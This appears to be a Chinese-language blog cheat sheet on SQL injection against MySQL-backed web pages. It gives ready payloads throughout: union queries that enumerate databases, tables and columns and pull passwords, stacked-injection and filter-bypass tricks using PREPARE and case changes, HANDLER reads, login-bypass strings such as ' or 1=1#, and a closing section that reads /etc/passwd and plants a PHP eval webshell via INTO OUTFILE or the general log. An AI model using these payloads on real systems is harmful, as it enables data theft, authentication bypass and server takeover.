SQL注入总结
SQL注入流程总结
1.寻找注入点(基于报错、基于布尔值、基于时间盲注、基于联合查询)
2.判断是注入点之后丢sqlmap或者选择手工注入
3.手工注入的话爆出当前数据库名(如果盲注的话使用二分法猜解)
4.猜解表名
5.猜解字段名
6.猜解数据
联合查询
判断存在sql注入
--+或%23(#)可将后面的代码注释比如?id=1' and '1'='1,输入这段代码其实在sql自身执行时已经有‘’将代码闭合了,所有自己不需要输入
通过注释id=1' and 1=1 --+ | id=1' and 1=1%23,将后面的‘注释后不执行,在判断id时已经闭合
判断有几个字段
可以用order by判断有几个字段,例如在注入点后面输入order by 1,返回正常说明至少有一个字段,然后继续增加字段order by 3,如果在这里返回内容不正常或者为空说明字段数是3个(0,1,2).
使用实例
?id=2是注入点
?id=2 union select 1,2,3(因为有三个字段我们输入三个数字查看哪些是可以返回的,再通过返回的值执行注入)
假设2,3可以返回
?id=2 union select 1,database(),version() (通过这里可以返回当前页面的数据库以及版本号)
ps:
数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。
数据库information_schema、表SCHEMATA、列SCHEMA_NAME,limit 0,1意思是从第0行起,取1行数据
?id=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1(返回第一个数据库,改变limit 1,1可返回第二个数据库)
这里我们可以摸清有几个数据库
通过之前database()的值,我们可以知道想要的信息在这个数据库中
?id=2 union select 1,table_name,3 from information_schema.tables where table_schema='数据库名' limit 0,1(获取第一张数据表)
同样可以摸清有几张表
当确定表之后就可以查看表中的字段信息
?id=2 union select 1,column_name,colum_type from information_schema.columns where table_name='数据表名' limit 0,1
假设获取的字段名为password
?id=2 union select 1,password,3 from 数据库.数据表 limit 0,1(即可得到值)
如果需要查看多个字段但我们可用的字段不够时,我们可以用concat()来显示多个值,例子:union select 1,concat(name,'-',password) from 数据库.数据表 limit 0,1
过滤关键字
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
strstr($id,"set")&&strstr($id,"prepare")
当关键字被这样过滤掉后我们可以通过堆叠注入或者handler查询来绕过
堆叠注入
在注入点后输入;再用show查询
使用实例
?id=-1';show databses;--+ 查询所有数据库,--+注释掉后面的‘号
?id=-1';show tables;--+ 查询所有表
?id=-1';columns from user;--+ 查询user表中所有的字段
如果user表就是你要的那可以试试用预编译来绕过select的限制
?id=-1';set @sql=concat('se','lect*from `user`;');prepare stmt from @sql;execute stmt;--+
当返回strstr过滤了set和prepare后,通过改变大小写即可,因为strstr函数不区分大小写
比如改成 sEt | prEPAre
理解prepare预处理
MySQL 5.1对服务器一方的预制语句提供支持。如果您使用合适的客户端编程界面,则这种支持可以发挥在MySQL
4.1中实施的高效客户端/服务器二进制协议的优势。候选界面包括MySQL C API客户端库(用于C程序)、MySQL
Connector/J(用于Java程序)和MySQL Connector/NET。例如,C
API可以提供一套能组成预制语句API的函数调用。其它语言界面可以对使用了二进制协议(通过在C客户端库中链接)的预制语句提供支持。对预制语句,还有一个SQL界面可以利用。与在整个预制语句API中使用二进制协议相比,本界面效率没有那么高,但是它不要求编程,因为在SQL层级,可以直接利用本界面
预制语句结构
PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;
handler查询
handler语句结构
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
使用实例
设表明为user
handler user open; 打开句柄
handler user read first; 读取表首行数据
handler user read next; 读取表下一行数据
handler user close; 关闭句柄
设user表的索引为user_index
handler user open as u; 将表设为第三方指令
handler u read user_index first; 通过索引user_index读取首行数据
hander u read user_index next; 读取下一行数据
handler u read user_index prev; 读取上一行数据
handler u read user_index last; 读取最后一行数据
handler u close; 关闭句柄
万能密码注入原理
1.用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。
用户登录时,后台执行的数据库查询操作(SQL语句)是:
Select user_id,user_type,email From users Where user_id=’用户名’ And password=’密码’
2.由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为:
Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’or’1’
3.由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此SQL语句在后台解析时,分成两句:
Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’和’1’,两句bool值进行逻辑or运算,恒为TRUE。
SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
输入用户名【admin】,密码【2’or’1】,即可登录成功
万能账号注入原理
输入账号 ' or 1=1# 密码随意
后台执行的语句会变成
select * from users where username='' or 1=1#' and password=md5('')
# 号 是注释符 后边的会的注释掉 所以就变成了
select * from users where username='' or 1=1
因为or 1=1 所以成立 为 true 就成功绕过进行登录了
SQL写shell
union select 1,load_file('/etc/passwd'),3,4,5 读文件
select '<?php phpinfo();?>' into outfile 'c:\windows\tmp\1.php' 写文件
当outfile被禁止或者写入被拦截时(拥有root)
1.show variables like '%general%'; 查看配置
2.set global general_log=on; 开启general log
3.set global general_log_file='/var/www/html/1.php'; 设置日志为shell日志
select '<?php eval($_post[cmd]);?>' 写入shell

浙公网安备 33010602011771号